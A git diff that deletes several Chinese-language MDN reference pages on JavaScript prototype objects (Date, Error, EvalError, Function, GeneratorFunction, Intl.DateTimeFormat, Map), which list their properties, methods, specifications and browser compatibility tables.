DataView 的实例从DataView.prototype继承。就像所有的构造器,你可以修改原型来改变生成的DataView实例。

- -

属性

- -
-
{{jsxref("DataView.prototype.constructor")}}
-
指定用来生成原型的构造函数.初始化值是标准内置DataView构造器.
-
{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}
-
被视图引入的{{jsxref("ArrayBuffer")}}.创建实例的时候已固化因此是只读的.
-
{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}
-
从 {{jsxref("ArrayBuffer")}}中读取的字节长度. 创建实例的时候已固化因此是只读的.
-
{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}
-
从 {{jsxref("ArrayBuffer")}}读取时的偏移字节长度. 创建实例的时候已固化因此是只读的.
-
- -

方法

- -

- -
-
{{jsxref("DataView.prototype.getInt8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(一个字节).
-
{{jsxref("DataView.prototype.getUint8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(无符号字节).
-
{{jsxref("DataView.prototype.getInt16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(短整型).
-
{{jsxref("DataView.prototype.getUint16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(无符号短整型).
-
{{jsxref("DataView.prototype.getInt32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(长整型).
-
{{jsxref("DataView.prototype.getUint32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(无符号长整型).
-
{{jsxref("DataView.prototype.getFloat32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(浮点型).
-
{{jsxref("DataView.prototype.getFloat64()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个64-bit数(双精度浮点型).
-
- -

- -
-
{{jsxref("DataView.prototype.setInt8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(一个字节).
-
{{jsxref("DataView.prototype.setUint8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(无符号字节).
-
{{jsxref("DataView.prototype.setInt16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(短整型).
-
{{jsxref("DataView.prototype.setUint16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(无符号短整型).
-
{{jsxref("DataView.prototype.setInt32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(长整型).
-
{{jsxref("DataView.prototype.setUint32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(无符号长整型).
-
{{jsxref("DataView.prototype.setFloat32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(浮点型).
-
{{jsxref("DataView.prototype.setFloat64()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个64-bit数(双精度浮点型).
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

浏览器支持

- - - -

{{Compat("javascript.builtins.DataView.prototype")}}

- -

另见

- -
    -
  • {{jsxref("DataView")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html deleted file mode 100644 index da3d715018..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Date.prototype -slug: Web/JavaScript/Reference/Global_Objects/Date/prototype -tags: - - Date - - JavaScript - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Date -translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype ---- -
{{JSRef}}
- -

Date.prototype 属性表示{{jsxref("Date")}}构造函数的原型。

- -
{{js_property_attributes(0,0,1)}}
- -

描述

- -

{{jsxref("Date")}}实例继承自Date.prototype。可以通过修改构造函数的原型对象来影响 {{jsxref("Date")}}实例继承的属性和方法。

- -

为了兼容千禧年计算(也即考虑到 2000 年),应该总是指定完整的年份,例如,使用 1998,而不是 98。为了方便以完整的格式指定年份, JavaScript 包含了相应的方法{{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}},{{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}}, {{jsxref("Global_Objects/Date/getUTCFullYear", "getUTCFullYear()")}} 和{{jsxref("Global_Objects/Date/setUTCFullYear", "setUTCFullYear()")}}。

- -

从 ECMAScript 6 开始,Date.prototype本身就是一个普通的对象。不是{{jsxref("Date")}}的实例。

- -

属性

- -
-
Date.prototype.constructor
-
返回创建该实例的函数。默认是Date构造函数。
-
- -

方法

- -

Getter

- -
-
{{jsxref("Date.prototype.getDate()")}}
-
根据本地时间返回指定日期对象的月份中的第几天(1-31)。
-
{{jsxref("Date.prototype.getDay()")}}
-
根据本地时间返回指定日期对象的星期中的第几天(0-6)。
-
{{jsxref("Date.prototype.getFullYear()")}}
-
根据本地时间返回指定日期对象的年份(四位数年份时返回四位数字)。
-
{{jsxref("Date.prototype.getHours()")}}
-
根据本地时间返回指定日期对象的小时(0-23)。
-
{{jsxref("Date.prototype.getMilliseconds()")}}
-
根据本地时间返回指定日期对象的毫秒(0-999)。
-
{{jsxref("Date.prototype.getMinutes()")}}
-
根据本地时间返回指定日期对象的分钟(0-59)。
-
{{jsxref("Date.prototype.getMonth()")}}
-
根据本地时间返回指定日期对象的月份(0-11)。
-
{{jsxref("Date.prototype.getSeconds()")}}
-
根据本地时间返回指定日期对象的秒数(0-59)。
-
{{jsxref("Date.prototype.getTime()")}}
-
返回从1970-1-1 00:00:00 UTC(协调世界时)到该日期经过的毫秒数,对于1970-1-1 00:00:00 UTC之前的时间返回负值。
-
{{jsxref("Date.prototype.getTimezoneOffset()")}}
-
返回当前时区的时区偏移。
-
{{jsxref("Date.prototype.getUTCDate()")}}
-
根据世界时返回特定日期对象一个月的第几天(1-31).
-
{{jsxref("Date.prototype.getUTCDay()")}}
-
根据世界时返回特定日期对象一个星期的第几天(0-6).
-
{{jsxref("Date.prototype.getUTCFullYear()")}}
-
根据世界时返回特定日期对象所在的年份(4位数).
-
{{jsxref("Date.prototype.getUTCHours()")}}
-
根据世界时返回特定日期对象当前的小时(0-23).
-
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
-
根据世界时返回特定日期对象的毫秒数(0-999).
-
{{jsxref("Date.prototype.getUTCMinutes()")}}
-
根据世界时返回特定日期对象的分钟数(0-59).
-
{{jsxref("Date.prototype.getUTCMonth()")}}
-
根据世界时返回特定日期对象的月份(0-11).
-
{{jsxref("Date.prototype.getUTCSeconds()")}}
-
根据世界时返回特定日期对象的秒数(0-59).
-
{{jsxref("Date.prototype.getYear()")}}{{deprecated_inline}}
-
根据特定日期返回年份 (通常 2-3 位数). 使用 {{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}} .
-
- -

Setter

- -
-
{{jsxref("Date.prototype.setDate()")}}
-
根据本地时间为指定的日期对象设置月份中的第几天。
-
{{jsxref("Date.prototype.setFullYear()")}}
-
根据本地时间为指定日期对象设置完整年份(四位数年份是四个数字)。
-
{{jsxref("Date.prototype.setHours()")}}
-
根据本地时间为指定日期对象设置小时数。
-
{{jsxref("Date.prototype.setMilliseconds()")}}
-
根据本地时间为指定日期对象设置毫秒数。
-
{{jsxref("Date.prototype.setMinutes()")}}
-
根据本地时间为指定日期对象设置分钟数。
-
{{jsxref("Date.prototype.setMonth()")}}
-
根据本地时间为指定日期对象设置月份。
-
{{jsxref("Date.prototype.setSeconds()")}}
-
根据本地时间为指定日期对象设置秒数。
-
{{jsxref("Date.prototype.setTime()")}}
-
通过指定从 1970-1-1 00:00:00 UTC 开始经过的毫秒数来设置日期对象的时间,对于早于 1970-1-1 00:00:00 UTC的时间可使用负值。
-
{{jsxref("Date.prototype.setUTCDate()")}}
-
根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
-
{{jsxref("Date.prototype.setUTCFullYear()")}}
-
根据世界时设置 Date 对象中的年份(四位数字)。
-
{{jsxref("Date.prototype.setUTCHours()")}}
-
根据世界时设置 Date 对象中的小时 (0 ~ 23)。
-
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
-
根据世界时设置 Date 对象中的毫秒 (0 ~ 999)。
-
{{jsxref("Date.prototype.setUTCMinutes()")}}
-
根据世界时设置 Date 对象中的分钟 (0 ~ 59)。
-
{{jsxref("Date.prototype.setUTCMonth()")}}
-
根据世界时设置 Date 对象中的月份 (0 ~ 11)。
-
{{jsxref("Date.prototype.setUTCSeconds()")}}
-
根据世界时设置 Date 对象中的秒钟 (0 ~ 59)。
-
{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}
-
setYear() 方法用于设置年份。请使用 {{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}} 方法代替。
-
- -

Conversion getter

- -
-
{{jsxref("Date.prototype.toDateString()")}}
-
以人类易读(human-readable)的形式返回该日期对象日期部分的字符串。
-
{{jsxref("Date.prototype.toISOString()")}}
-
把一个日期转换为符合 ISO 8601 扩展格式的字符串。
-
{{jsxref("Date.prototype.toJSON()")}}
-
使用 {{jsxref("Global_Objects/Date/toISOString", "toISOString()")}} 返回一个表示该日期的字符串。为了在 {{jsxref("JSON.stringify()")}} 方法中使用。
-
{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}
-
返回一个基于 GMT (UT) 时区的字符串来表示该日期。请使用 {{jsxref("Global_Objects/Date/toUTCString", "toUTCString()")}} 方法代替。
-
{{jsxref("Date.prototype.toLocaleDateString()")}}
-
返回一个表示该日期对象日期部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
-
{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}
-
使用格式字符串将日期转换为字符串。
-
{{jsxref("Date.prototype.toLocaleString()")}}
-
返回一个表示该日期对象的字符串,该字符串与系统设置的地区关联(locality sensitive)。覆盖了 {{jsxref("Global_Objects/Object/toLocaleString", "Object.prototype.toLocaleString()")}} 方法。
-
{{jsxref("Date.prototype.toLocaleTimeString()")}}
-
返回一个表示该日期对象时间部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
-
{{jsxref("Date.prototype.toSource()")}}{{non-standard_inline}}
-
返回一个与{{jsxref("Date")}}等价的原始字符串对象,你可以使用这个值去生成一个新的对象。重写了 {{jsxref("Object.prototype.toSource()")}} 这个方法。
-
{{jsxref("Date.prototype.toString()")}}
-
返回一个表示该日期对象的字符串。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Date.prototype.toTimeString()")}}
-
以人类易读格式返回日期对象时间部分的字符串。
-
{{jsxref("Date.prototype.toUTCString()")}}
-
把一个日期对象转换为一个以UTC时区计时的字符串。
-
{{jsxref("Date.prototype.valueOf()")}}
-
返回一个日期对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Date.prototype")}}

diff --git a/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html deleted file mode 100644 index 420b5634de..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Error.prototype -slug: Web/JavaScript/Reference/Global_Objects/Error/prototype -tags: - - Error - - JavaScript - - Property - - 参考 - - 属性 -translation_of: Web/JavaScript/Reference/Global_Objects/Error -translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype ---- -
-

{{JSRef}}

- -

Error.prototype 属性代表 {{jsxref("Error")}} 的构造器。

- -

{{js_property_attributes(0, 0, 0)}}

-
- -

描述

- -

所有 {{jsxref("Global_Objects/Error", "Error")}} 与 {{jsxref("Global_Objects/Error", "非标准Error", "#Error_types", 1)}} 的实例都继承自 Error.prototype。同所有构造器函数一样,你可以在构造器的 prototype 上添加属性或者方法,使其在所有该构造器的实例上生效。

- -

属性

- -

标准属性

- -
-
Error.prototype.constructor
-
实例原型的构造函数。
-
{{jsxref("Error.prototype.message")}}
-
错误信息。
-
{{jsxref("Error.prototype.name")}}
-
错误名。
-
- -

厂商特定扩展属性

- -
{{non-standard_header}}
- -

Microsoft

- -
-
{{jsxref("Error.prototype.description")}}
-
错误描述,与 {{jsxref("Error.prototype.message", "message")}} 相似。
-
{{jsxref("Error.prototype.number")}}
-
错误码。
-
- -

Mozilla

- -
-
{{jsxref("Error.prototype.fileName")}}
-
产生该错误的文件名。
-
{{jsxref("Error.prototype.lineNumber")}}
-
产生该错误的行号。
-
{{jsxref("Error.prototype.columnNumber")}}
-
产生该错误的列号。
-
{{jsxref("Error.prototype.stack")}}
-
错误堆栈。
-
- -

方法

- -
-
{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
-
返回一个包含特定 {{jsxref("Error")}} 对象的源代码字符串,你可以用该值新建一个新的对象,重写自 {{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Error.prototype.toString()")}}
-
返回一个表示该对象的字符串,重写自 {{jsxref("Object.prototype.toString()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范版本状态注解
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

参见

- -
    -
  • {{jsxref("Error")}}
  • -
  • {{jsxref("Object.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html deleted file mode 100644 index b68caa1f3f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: EvalError.prototype -slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/EvalError -translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype ---- -
{{JSRef}}
- -

EvalError.prototype 属性是 {{jsxref("EvalError")}} 原型构造函数.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

{{jsxref("EvalError")}} 全部实例都继承自EvalError.prototype. 你可以通过prototype去添加方法和属性.

- -

Properties

- -
-
EvalError.prototype.constructor
-
指定创建实例原型的函数.
-
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
-
错误信息. 从 ECMA-262 开始 {{jsxref("EvalError")}} 提供 message (继承自{{jsxref("Error.prototype.message")}})属性, 详见 SpiderMonkey.
-
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
-
错误名称.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
-
引发错误的文件路径. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
-
引发错误所在行.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
-
引发错误所在的列. 继承自{{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
-
堆栈.继承自 {{jsxref("Error")}}.
-
- -

Methods

- -

虽然 {{jsxref("EvalError")}} 自己的属性方法较少, 但是通过原型链继承了很多有用的方法.

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}初代.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}定义为NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}定义为NativeError.prototype.
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.EvalError")}}

-
- -

See also

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html deleted file mode 100644 index a745753511..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Function.prototype -slug: Web/JavaScript/Reference/Global_Objects/Function/prototype -tags: - - JavaScript - - 函数 - - 原型 - - 原型属性 -translation_of: Web/JavaScript/Reference/Global_Objects/Function -translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype ---- -
{{JSRef}}
- -

Function.prototype 属性存储了 {{jsxref("Function")}} 的原型对象。

- -

描述

- -

{{jsxref("Function")}}对象继承自 Function.prototype 属性。因此,Function.prototype 不能被修改。

- -

属性

- -
-
{{jsxref("Function.arguments")}} {{deprecated_inline()}}
-
以数组形式获取传入函数的所有参数。此属性已被{{jsxref("Functions_and_function_scope/arguments", "arguments")}}替代。
-
{{jsxref("Function.arity")}} {{obsolete_inline() }}
-
用于指定的函数的参数的个数,但已被删除。使用{{jsxref("Function.length","length")}}属性代替。
-
{{jsxref("Function.caller")}} {{ Non-standard_inline() }}
-
获取调用函数的具体对象。
-
{{jsxref("Function.length")}}
-
获取函数的接收参数个数。
-
{{jsxref("Function.name")}} {{ Non-standard_inline() }}
-
获取函数的名称。
-
{{jsxref("Function.displayName")}} {{ Non-standard_inline() }}
-
获取函数的display name。
-
Function.prototype.constructor
-
声明函数的原型构造方法,详细请参考 {{jsxref("Object.constructor")}} 。
-
- -

方法

- -
-
{{jsxref("Function.prototype.apply()")}}
-
在一个对象的上下文中应用另一个对象的方法;参数能够以数组形式传入。
-
{{jsxref("Function.prototype.bind()")}}
-
bind()方法会创建一个新函数,称为绑定函数.当调用这个绑定函数时,绑定函数会以创建它时传入 bind()方法的第一个参数作为 this,传入 bind()方法的第二个以及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数.
-
{{jsxref("Function.prototype.call()")}}
-
在一个对象的上下文中应用另一个对象的方法;参数能够以列表形式传入。
-
{{jsxref("Function.prototype.isGenerator()")}} {{ Non-standard_inline() }}
-
若函数对象为generator,返回true,反之返回 false
-
{{jsxref("Function.prototype.toSource()")}} {{ Non-standard_inline() }}
-
获取函数的实现源码的字符串。 覆盖了 {{jsxref("Object.prototype.toSource")}} 方法。
-
{{jsxref("Function.prototype.toString()")}}
-
获取函数的实现源码的字符串。覆盖了 {{jsxref("Object.prototype.toString")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.Implemented in JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-prototype', 'Function.prototype')}}{{Spec2('ES6')}} 
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

参考

- -
    -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html deleted file mode 100644 index 0f7179b3f5..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: GeneratorFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype -tags: - - ECMAScript 2015 - - GeneratorFunction - - Iterator - - JavaScript - - Property - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction -translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype ---- -
{{JSRef}}
- -

GeneratorFunction.prototype属性是{{jsxref("GeneratorFunction")}}的原型对象。

- -

描述

- -

{{jsxref("GeneratorFunction")}} 的实例对象都继承于 GeneratorFunction.prototype. GeneratorFunction.prototype 不能被修改。

- -

属性

- -
-
GeneratorFunction.constructor
-
初始值是 {{jsxref("GeneratorFunction")}}.
-
GeneratorFunction.prototype.prototype
-
值是 %GeneratorPrototype%.
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.GeneratorFunction.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("GeneratorFunction")}}
  • -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html deleted file mode 100644 index f74e8f9cf5..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype -slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype ---- -
{{JSRef}}
- -

Intl.DateTimeFormat.prototype表示 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}构造函数的原型对象。

- -

{{js_property_attributes(0, 0, 0)}} 

- -

描述

- -

参见 {{jsxref("DateTimeFormat")}}来看Intl.DateTimeFormat实例的一个描述。

- -

{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 实例继承自Intl.DateTimeFormat.prototype. 对原型对象的修改都继承自{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}实例。

- -

属性

- -
-
Intl.DateTimeFormat.prototype.constructor
-
请参考 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.
-
{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
-
Getter; 返回一个{{jsxref("DateTimeFormat", "DateTimeFormat")}}对象的根据locale和格式化参数格式化日期的函数。
-
- -

方法

- -
-
{{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}
-
Returns an {{jsxref("Array")}} of objects representing the date string in parts that can be used for custom locale-aware formatting.
-
{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
-
返回一个新的属性对象,反射出在对象初始化过程中计算出的locale和options的各个值。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范版本规范状态注解
{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 1.0')}}初始定义
{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int Draft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("24")}}{{CompatGeckoDesktop("29")}}{{CompatIE("11")}}{{CompatOpera("15")}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("26")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

参见

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html deleted file mode 100644 index d98bdfac5a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Map.prototype -slug: Web/JavaScript/Reference/Global_Objects/Map/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Map -translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype ---- -
{{JSRef}}
- -

Map.prototype 属性表示 {{jsxref("Map")}}构造函数的原型对象。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Map")}} 实例继承自{{jsxref("Map.prototype")}}。你可以使用这个构造函数的原型对象来给所有的Map实例添加属性或者方法。

- -

属性

- -
-
Map.prototype.constructor
-
返回一个函数,它创建了实例的原型。默认是{{jsxref("Map")}}函数。
-
{{jsxref("Map.prototype.size")}}
-
返回Map对象的键/值对的数量。
-
- -

方法

- -
-
{{jsxref("Map.prototype.clear()")}}
-
移除Map对象的所有键/值对 。
-
{{jsxref("Map.delete", "Map.prototype.delete(key)")}}
-
如果 Map 对象中存在该元素,则移除它并返回 true;否则如果该元素不存在则返回 false。随后调用 Map.prototype.has(key) 将返回 false
-
{{jsxref("Map.prototype.entries()")}}
-
返回一个新的 Iterator 对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
-
{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}
-
按插入顺序,为 Map对象里的每一键值对调用一次callbackFn函数。如果为forEach提供了thisArg,它将在每次回调中作为this值。
-
{{jsxref("Map.get", "Map.prototype.get(key)")}}
-
返回键对应的值,如果不存在,则返回undefined。
-
{{jsxref("Map.has", "Map.prototype.has(key)")}}
-
返回一个布尔值,表示Map实例是否包含键对应的值。
-
{{jsxref("Map.prototype.keys()")}}
-
返回一个新的 Iterator对象, 它按插入顺序包含了Map对象中每个元素的
-
{{jsxref("Map.set", "Map.prototype.set(key, value)")}}
-
设置Map对象中键的值。返回该Map对象。
-
{{jsxref("Map.prototype.values()")}}
-
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的
-
{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
-
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{ CompatGeckoDesktop("13") }}11257.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatGeckoMobile("13")}}{{CompatNo}}{{CompatNo}} -

8

-
-
- -

相关链接

- -
    -
